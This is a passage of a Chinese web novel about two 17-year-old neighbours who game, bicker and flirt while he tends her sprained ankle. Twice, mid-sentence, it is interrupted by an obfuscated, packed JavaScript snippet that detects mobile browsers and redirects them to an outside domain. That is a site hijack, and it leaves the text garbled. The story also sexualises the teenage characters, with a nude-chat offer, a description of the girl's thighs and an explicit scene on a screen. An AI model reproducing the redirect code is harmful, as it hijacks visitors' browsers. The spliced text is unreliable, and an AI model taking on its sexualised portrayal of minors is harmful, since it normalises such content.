两个人说着说着就又聊起来了,从常规考试聊到模赛,祁航这才知道原来高一下他们在生物竞赛的小班里也见过。 而他竟然才知道这件事。 正好上官熠和付明熹拿着CCD过来,“航哥,找你老半天了,走啊,去和教官合影……航哥,航哥?” 祁航站在商盈身边,抱着臂越想越不爽——他们竟然认识,而他,居然不知道? ...... 军训结束后,学校给学生放了三天假。 这三天里,商盈被祁航问的最多的问题就是,江皓翎到底是谁? 面对面吃饭的时候问,网上聊天的时候问,就连一起打游戏的时候都会冷不丁冒出一句,“江皓翎到底是谁,你和江皓翎也打过游戏吗?” 商盈觉得纳闷,“江皓翎”这三个字很难理解吗? 如果不认识字,商盈真心希望祁航可以善用新华字典,而不是在她这里充当一只聒噪的珍珠鸟。 在这种情况下,商盈不得不疑心祁航是否另有所图——比方说也许他是故意想从她这里套出江皓翎的喜好去和他打好关系,并伺机鼓动他抢夺自己的生竞第一。 毕竟祁航阴险,她不得不防。 “江皓翎啊,是不是足球队的那个江皓翎?” “全员ALL忍”四排的时候,听着祁航的咕咕叨叨,付明昭有些印象,“之前论坛民选级草的时候,我记得他还和你平票呢航哥。” 付明昭消息灵通,对整个年级的帅哥如数家珍,像江皓翎这种内向话少的帅哥,那是酒香也怕巷子深,付明昭急得那个时候还是她费尽千辛万苦...求上官熠在江皓翎足球队训练的时候偷拍了一张,上传到论坛的。 祁航:“你认识他?” 大家都在各自的房间里连麦打游戏,付明昭一听就从地上坐起来了,“何止是认识,我还有他Q/Q呢...” 说着付明昭点开了好友列表,“诶,江皓翎也在线?!哇塞,他居然是王者三十星,不如我们把他也邀请进来......” 四排再招募本来就难,高段位还有被坑的风险,要是有个知根知底的人一起五排,风险自然能降到最低,而且还能节约招募的时间。 上官熠和付明熹都表示没意见,“盈妹呢,怎么说?” “都行啊...”商盈在等招募的间隙,趴在床上又翻过了一页练习册,漫不经心道:“要不问问他?” 毕竟此人乃是商盈在生物竞赛这条路上有力的竞争对手,如果能让他玩物丧志的话,那第一就还是她的。 嘿。真是有勇有谋啊小商盈。 不知道什么时候队伍里突然进了个从大厅招募的陌生人,下一秒游戏就显示开局了。 “诶怎么秒开了??”付明昭的话最后被卡进了对局,“不是说要找找找找找×&%¥#@......” 直到进去选英雄的时候,付明昭还在研究这个未解之谜,“怎么就突然开了呢?航哥你那边信号不好吗?” 一直沉默的祁航终于开了尊口:“手滑。” 商盈一看游戏开了,遂从床上坐了起来,继续刻薄祁航:“别为你的失误找借口,电子竞技,菜是原罪。” 祁航难得没回怼,只问她:“这把你要什么位置?” “我要选射手。”商盈锁了伽罗,并威胁祁航,“敢不来帮我抓人你就死定了。” 她十分担心祁航挟私报复,威胁她告诉他更多关于江皓翎的事情。 毕竟祁航也算是前科累累,而她和江皓翎也算不上认识,在此之前最多就是觉得他有些面熟,自然没有更多的小道消息可以分享。 早在高一还没有选科的时候,阪阳私立负责带竞赛的老师就会在课余时间挑选几个苗子组成一个专门搞竞赛的小班进行教学。 她和江皓翎都在这个生竞班里,但即便如此,商盈记忆中也没和他说过几句话,偶尔就是讨论题目的时候会有交流,商盈还是在昨天才知道他叫江皓翎的。 她已经想好了,如果祁航那这事儿对她威逼利诱的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223384|181623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她就睁着眼睛说瞎话,先把今天的两把星星打上去再说。 就是这样的有勇有谋、能屈能伸。 出人意料的是,她和祁航这局的配合非常丝滑,甚至她给了个假动作祁航就知道要上去抓人,对局体验简直可以说是达到十颗星,她还拿了这把的MVP。 “商盈,出来吃饭了!” “来啦。”一把打完,商盈和他们说了声要去吃午饭就下线了。 商郁礼已经在桌上干饭干得不知天地为何物了,看见商盈出来,顶着满嘴米粒喊了声,“姐姐!” “你吃得好邋遢。”商盈说着,抽了张餐巾纸帮商郁礼把嘴上的饭粒都抹掉,又把周围的汤汤水水都整饬干净,然后才坐下。 胡听霜刚从厨房里出来,在围裙上擦了擦手,把桌边的便当盒推到了商盈跟前,“我做了点金枪鱼芝士饭团,你待会儿给航航送过去。” 商盈往嘴里塞了块烤鸡,含糊道:“他吃过饭了。” “这个放在冰箱里可以吃好几天的,你祁叔叔这段时间又不在,航航一天到晚地点外卖也不是个事儿啊。” 祁航的母亲在他小时候就去世了,祁父是金融公司的高管,常年忙得脚不沾地,一年里在国内的时间屈指可数。 当初商盈的父母做生意周转不善,是祁航的父亲二话不说拿出了一大笔钱帮他们渡过难关,因此商家夫妇一直非常感恩祁航的父亲。 祁父不在国内的时候,他们非常照顾隔壁的祁航,每天饭点的时候都让商盈去喊他,偶尔做了点小点心,也是一定有祁航的份儿的。 见胡听霜没有放弃的意思,商盈只好叹口气:“等会儿我看看有没有时间吧。” 今天的午饭是四菜一汤,只是里面有两道加了香菇,其中一道还是商盈最期待的江鳗。 很可惜的是,商盈对香菇过敏。 她草草扒了几口饭就不再吃了,看着胡听霜和岳建明在旁边使尽浑身解数哄商郁礼吃饭。 酱香浓郁的汤汁撒进莹白的饭粒当中,鲜嫩的鳗肉浸饱了卤香,一口下去简直满足得要命;但商郁礼这小子就是敬酒不吃吃罚酒,任凭胡听霜怎么哄他他都不愿意张开那张尊贵的嘴巴。 商盈托腮看了一会儿,忽然开口,“妈妈,妈妈。” 胡听霜还在和商郁礼斗智斗勇没听见,还是岳建明喊了她才反应过来。 “怎么啦盈盈?” “没什么,我就是想问,”商盈漆黑的眼瞳里看起来好像有一点点的期待,“你今天买红花油了吗?” 昨天回家的时候太急,商盈拖着行李箱从台阶上下来时跌了一级,没什么大事,就是脚踝稍微有些肿起,因为太晚了就没去医院,胡听霜说擦点红花油就好了。 “啊。”胡听霜看起来才想起昨天随口结下的约定,“抱歉啊盈盈,你弟弟今天上午去上早教班,老师留我说了会儿话我就忘记了,你瞧我这脑子。” “没事。”商盈的小肩膀塌了下去,戳了戳碗里的饭,没抬头,“我等会儿去祁航家里看看有没有。” 胡听霜拧紧的眉头很快松开了,“也行。” 吃好饭后,商盈回自己的空调房里待了会儿,又叽里咕噜地在床上打了几个滚。 不开心。 歇了片刻,商盈从床上爬起来,随手翻了翻桌上的讲义。 这是上个学期结束的时候生物老师给他们打印的竞赛讲义,没有强求他们写完,就说有空的时候看看题目,保持题感。 但商盈已经全部写完了。 好无聊。 又不开心又很无聊。 商盈打开手机,点开了置顶的那个小狗头像,[在干嘛?] 消息刚发出去,备注栏上就立即显示对方“正在输入中...”,下一息商盈就收到了回复,[在洗澡。] 商盈立刻不善意地质疑:[洗澡还秒回?] 这回对面发直接弹来了个语音电话,商盈纳闷,点了接通。 对面淋淋漓漓的水声霎时传来,接着少年清朗噙笑的嗓音盖过了水声,“尊贵的商盈女士您可是我的特别关心,我哪敢不回您的消息啊。” 商盈心底冷哼一声。 果不其然,此人又在阴阳怪气她。 没听到商盈的回复,淋淋漓漓的水声一停,祁航的声音在浴室的混响当中显出几分好听的磁性——“要不要开视频,性感男高在线果聊。” 14. 第14页 chapter14. 商盈本该刻薄地攻讦他是个寡廉鲜耻的神经病,可是鬼使神差的,商盈的脑海当中浮现了那天祁航衬衫下的臂膀和触感。 少年的身段劲挺如白杨,但肌肉线条劲瘦利落,一如这个年纪的朝气蓬勃,蕴含着堪称矫健的力量感。 意识到自己的脑海被病毒入侵的商盈吓了一跳,连忙挂断电话。 好险。 差点她就变成了寡廉鲜耻的神经病! 放下手机后,商盈准备眯一会儿。 但她觉浅,商郁礼又在客厅里玩玩具,很快她就没了困意。 商盈又在床上抱着被子滚了一圈,偏过头看着桌上的金枪鱼芝士饭团,思考半晌,最终还是决定翻身起床。 祁航和她家就住对门,从家门口走过去不过十步的距离。 她抬手敲响了祁航家的门。 没人应。 商盈忽然想起来,他刚刚好像是还在洗澡。 “滴——”的一声,商盈不请自来打开了祁航家的密码门。 祁航家虽然和商盈的家户型相仿,但商盈每次进来都觉得祁航家比自己大一倍。 装修设计固然是一个方面的原因。 另外一个方面的原因就是祁航家的东西确实少。 环顾客厅,除了必备的家电之外就是一些看起来就很贵很有品味的画作和摆件,至于一些生活杂物,几乎是看不见的。 不像商家一家四口,每个房间打满了柜子却总还是觉得储物空间不够,从客厅一眼望去,目之所及之处都是瓶瓶罐罐的生活用品。 祁航的生活习惯还可以,平时也有阿姨定时上门清理,因此这套房子给人的第一感觉就是...整洁又寂静。 任何一个初来乍到的人看了这个房子,都会认为这是独居者的家,根本看不出来祁航和他的父亲一起住在这里。 家里都是遮光帘。 大白天的祁航也没把客厅里的窗帘拉开,屋里昏暗又冷清,商盈背着手关上了门,适应片刻才继续往前走。 这里的冷气开得很足,即便祁航只睡在自己的卧室里,却还是开了家里的中央空调,商盈曾不止一次地痛斥他沾染上了资本主义的奢靡习气,建议立刻马上扭送出国或是进行思想改造。 她又继续往里走了几步,浴室门忽然开了,潮白的热气像是浪潮般争先恐后地扑了出来。 接着浓烈的柑橘气息弥漫,模糊的人影在水雾当中渐渐清晰。 祁航穿着简单的白T,黑发湿润,带着几分潮气耷在额头上,低头看着商盈,垂顺的模样像是一只乖乖的大狗。 沐浴露的香味在此刻却显得有些侵略性,连带着那刚刚出浴的热气一同将商盈围裹了起来。 “来了怎么也不提前打声招呼,我还以为家里进贼了。” 商盈多疑:“点我呢?” “......”祁航无奈,“你也是打小没遇到过好人吗?” 他越过商盈去拿毛巾,商盈便亦步亦趋地跟在他身后继续攻击:“很不幸啊,从小就遇见了你。” “怎么亲自来了?”祁航轻车熟路地转换话题,“你的脚骨头好了?” “那叫脚踝。”商盈的注意力果不其然地被带偏了,她故意把便当盒往前用力一攮,“我妈让我给你的。” 祁航稳稳地接住了便当,“阿姨怎么知道我到现在都没吃饭?” “因为你昼夜颠倒的恶劣生活习惯早已恶名远扬。” “那都是你传出去的吧。” 商盈吹着并不存在的口哨扭过头,装模作样地假装没听到。 两人进了祁航的书房。 说是书房,但这里相当于次卧,里面还摆了张一米五的床。 商盈熟门熟路地躺了上去,接着翻过身得意洋洋地看着他。 瓷白的小脸,只有巴掌那么大,眼睛却像濯洗过似的那么清亮。 祁航曾经猜测,假如看到的东西能够嗅觉化,那商盈的眼睛应该是葡萄味的。 书房的灯光朗透护眼,祁航得以看穿商盈的情绪。 ——她的眉眼之间有些怔忪,剔透的眼瞳里面还有几分兴致不高的恹色。 祁航看了眼时间,“没吃饭吗?” “你以为我是你吗?”商盈忿忿,“我已经吃过了,而且是午饭。” “是吗?” 那看起来是没吃饱。 祁航从床上捞起手机,“要吃什么告诉哥,哥给你点外卖。” “祁航你会不会太恬不知耻,请不要把你乱认妹妹的那套陋习用到我身上好吗?” “不说我就随便点了。” 商盈急忙:“鳗鱼饭。” 并非因为今天中午没吃到而很遗憾。 “加山葵粉还是芥末酱?” “山葵粉...啊不。”商盈严谨思考,“还是芥末酱吧。” “成。” 手机屏幕的光幕映在祁航脸上,照出他不经意勾起的嘴角。 最后他点了小花苑的外送服务。 小花苑是申城一家做小而精高端路线的餐饮店,外送都是自己的店员,比起外面的外卖来说要健康许多。 商盈抻起脖子默默监督祁航做完这一切,然后严正声明:“我可不会给你钱。” “知道。”祁航放下手机,双手插兜来到床边,“是我自愿给尊贵的商盈女士点的。” 小猫受了委屈就来找他,不是很可爱吗? 商盈心里舒服了点。 她窝着一个萝卜抱枕玩起了手机,没过一会儿就感觉到自己的脚踝被人捞了起来。 接着祁航的手又往上滑到了她的小腿处。 “你干嘛?” 话虽如此,商盈已经准备好了寸劲,准备祁航一挠她的脚底板就弹起来踹他□□。 谁料商盈等啊等,都没等到祁航动作。 他只是弯下腰仔细端详过她的脚踝,“涂药了吗?” 商盈一听心情又低落下来,蚊子叫似的嗡了两声,“不用管,它很快就好了。” 祁航有些绷不住表情。 明明脸上都写着,有事,有很大的事,祁航你敢不哄我就死定了。 “那这么痛你都能忍住啊?”祁航很夸张地赞扬了一声,并轻轻拍手以示敬仰。“这也太厉害了。” “是啊。”商盈的眼皮立即精神地抬起,“如果是你受伤的话,肯定会故作可怜地大叫起来,以博得那些本不属于你的同情和关注。” “…我在你心里就这形象?” 祁航说这话时,像是惩罚似的捏了捏商盈的脚踝。 “......” 商盈自知自己说了不合时宜的真心话,立刻闭上嘴巴装失忆。 祁航把商盈的脚放到自己的腿上仔细观察。 于是商盈的下半身便被迫抬高了些,她往下垫了块枕头,接着顺势倒进了被窝里,摊得四仰八叉,像是一滩小猫饼。 小猫躺得有些舒服,于是慈悲发话:“其实我对你已是口下留情。” 也许是两个人打小一起长大的关系,排除祁航想要暗戳戳使坏的可能,商盈对他的触碰并不反感,甚至不敏锐到了危险的程度。 祁航也双手合十,“多谢盈皇口下留情。” 商盈挥挥手,“跪安吧。” 没过多久,跪安的奴仆提着小花苑的外送进了门。 他刚拆开外卖,商盈就立刻闻到了鳗鱼鲜香的味道,以及没有香菇多加葱花的味道。 鳗鱼饭真好吃。 她第一次吃鳗鱼饭就吃到了这么好吃的鳗鱼饭,没有任何由于新手上路而可能品尝到黑暗菜系的风险,也不用担心可能会因为吃出香菇而过敏,还可以自由选择加秋葵粉或是芥末酱。 她真幸运。 商盈想。 祁航进来的时候还拿着一瓶红色的药油,扔给商盈,“红花油,涂吧。” 商盈正大快朵颐,闻言头也不抬,“你放那边,我等会儿再涂。” 这一等,就等到她吃好了饭摊在床上快睡着了也没动。 祁航去扯她身后的被子,“不是说吃好了就涂吗,怎么还不涂?” “哎呀别催了。”商盈翻了个身又把自己埋进了被褥间,严词指控:“控制欲这么强,你是地主吗,新中国不欢迎地主。” 祁航:“......” 没人催她,商盈就慢吞吞地打开手机,慢吞吞地点开小红书,慢吞吞地在上面搜索脚踝扭伤该如何抹红花油。 祁航猜测,不出意外,三分钟之后她就要钻到红花油的广告里,并纠结到底是买带安神功能的红花油还是驱蚊效果的红花油了。 商盈对涂抹药油这个领域还是有些陌生的,她忧心随便揉揉会让脚踝内出血更加严重,于是决意要找到一个正确且严谨的法子进行学习...当然在此之前,她最好先购买一瓶效果出众、立竿见影顺便还附带安神效果的红花油。 祁航转过电竞椅滑到了床边,张开双腿,“把你的脚给我。” 遨游在商家天罗地网当中的商盈不满地哼哼了两声,“你又要干嘛?” “给某个下楼梯都能摔跤的笨蛋涂药。” “......” 商盈自动忽略了那句“笨蛋”,防备地指指点点:“干嘛突然假惺惺,一看就知道黄鼠狼给鸡拜年,不安好心。” “就看在去年你也给我贴过云南白药的份儿上,哥哥宠你这一回。” “有吗?”商盈的注意力就是这样,只能看到某个她更在意的点,她眨了眨眼睛,“什么时候?” 祁航看了她一眼,“上个暑假我骑行摔伤,是你过来给我贴的膏药,忘了吗?” “哦。”商盈看起来根本没过脑子,敷衍道:“想起来了。” 祁航:“......” “可是你会吗?”商盈忧心地警告:“要是你胡乱涂药导致我病情恶化的话,你要负 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223385|181623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全责。” “我当然负责。”祁航说着倒扣了红花油的瓶子,把里面的药油倒出来后在掌心反复摩擦搓热,看着商盈道:“要是你腿断了,我就照顾你一辈子。” 商盈认为这句话还是比较有可信度的,毕竟他们相互辜负了十七年,彼此早就把对方当成了眼中钉肉中刺,要是为她负责一辈子祁航得多累呀。 由此可见,祁航在涂抹药油这方面应当是有一定建树的。 打定了主意,商盈慢吞吞地把脚驾到了祁航腿上,并且再次申明:“这是你求着要给我涂的,并非强迫。” 祁航竖起了三根手指,“我祁航在此发誓,以下都是我自愿服侍尊贵的商盈女士的。” 商盈终于满意了。 热量和陌生的触感从脚踝处腾升,商盈下意识安静下来。 祁航似乎确实是有手法的,原本肿胀的脚踝在他的按摩下渐渐发热发烫。 商盈能够感觉到血液的流淌渐渐通畅起来,肿胀的地方似乎也舒缓了些,他又分几次倒了点药油,按摩着商盈的脚踝,促进吸收。 商盈忽然轻轻颤了颤,“痒。” 她吃饱后开始发饭困,声线便软和了些,听起来就像是撒娇。 今天商盈穿着那件粉色Kitty头的短袖,下面是一条宽松的白色短裤,在刚刚的拉扯中堆叠到了腿根处,她的皮肤很白,膝窝泛粉,大腿紧致匀称,起伏的线条在阴影当中隐约可见。 祁航撇开目光,语气有些心不在焉,“痒就忍着。” 商盈又哼哼两声,不说话了。 祁航的书房里有一块很大的曲面屏,平时放假的时候他们会一起凑在这里看直播。 趁着祁航去放红花油的时间,商盈又环顾了一圈他的书房。 商盈也很想要这样一间只属于自己的书房,有两面墙都整整齐齐码满了自己的书,不管是已经看了的还是将看未看的,哪怕房间小一些、逼仄些也没关系。 她只要有一方小小的天地可以承托起自己一些不着调的小遐思就够了。 偶尔商盈也会很羡慕祁航,想着,如果她也是独生子女就好了。 机箱的风扇忽然转动起来,商盈注意到了显示屏旁边闪烁的按钮。 电脑居然开着吗? 偷偷摸摸看啥呢? 商盈慢吞吞坐到椅子上,双手推了把电竞椅,便转到了另一侧的桌几旁。 一般来说,假使祁航在这里背着商盈偷偷上网课,被商盈发现后就会迎来她的一顿暴揍。 尽管法律上并没有哪一条明文规定了祁航不能在家里学习,但商盈还是很认真地为他规定了“不能在商盈不知情的时候偷偷学习”的规则。 商盈带着即将站上道德高地的兴奋晃了晃鼠标,屏幕重新亮了起来,旋即商盈就看到了屏幕上一串类似于标题的文字。 日文? 商盈思忖半晌,难道他高考要考日语? 她是听说高考日语更容易出高分来着。 可是日语好像比英语难上许多,按照祁航的性格不可能打无准备之仗,商盈立刻警觉起来:难道这段时间他都在偷偷上网课? 商盈浑身爬满了危机感。 可恶,竟敢背着她悄悄进步。 焦虑了两秒钟,商盈没给自己畏难心理大发作的机会,立即从祁航的书桌上抽了一本练习簿下来,又从笔筒里随机挑了只笔。 都说这日语五十音图难,那就让她来尝尝咸淡。 椅背忽然往后一低,商盈知道这是祁航回来了。 他习惯性一手撑在书桌前,一手撑在椅背上,像是包围似的将商盈半裹在怀里。 接着他微微俯下身,似乎是想确认商盈看的东西,质疑:“看这东西还需要做笔记?” “少得意了。” 商盈被祁航倾下来的身体压得抬不起头。 少年洗浴过后的身体散发着蓬勃热意,细细密密地掺织着湿潮橘香调的气息,伴随着少年的动作一瞬间就就商盈扑了个满怀。 商盈揉了揉仿佛沾上湿气的睫毛,有些神气:“怎么了,怕我天赋异禀超过你?” “天、赋、异、禀?” 这几个字在祁航嘴里捻磨过一圈,似乎显得别有深意。 简单来说变成了让商盈讨厌的调调。 她疑心祁航在内涵她,便格外强调:“我学什么都很快的,你难道还不知道吗?” 平心而论,商盈确实学什么都很快,她很专注,这是她的天赋。 “行啊。”祁航站直了身体,一手插在兜里,“那不打扰你了。学吧,天才。” 商盈气鼓鼓地抬起头,却发现眼前的屏幕上日语不知道什么时候飘到了十万八千里。 屏幕里只剩下一对男女纠缠在一起,吻得忘我又投入,身上的衣服也是松松垮垮地挂在身上,要露不露地包裹着两人隐约的身姿和大片肌肤。 商盈有一瞬间的惊愕,脱口而出,“这是什么啊?”